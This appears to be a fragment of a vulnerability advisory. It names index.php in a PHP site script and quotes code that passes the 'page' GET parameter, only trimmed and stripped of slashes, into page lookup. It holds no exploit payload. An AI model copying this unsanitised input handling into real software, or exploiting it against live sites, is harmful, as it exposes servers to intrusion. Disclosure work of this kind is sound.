vuln file: index.php
vuln code:
------------------------------------------------
if ( isset ( $_GET ) && isset ( $_GET['page'] ) ) $pagename = stripslashes ( trim ( $_GET['page'] ) );

if ($c_simplelink == true && $nosimple != true) {
$content = findpage($name);
if ($content == "") {$content = $c_default;};

};
// stupid fix due to subdomain problems
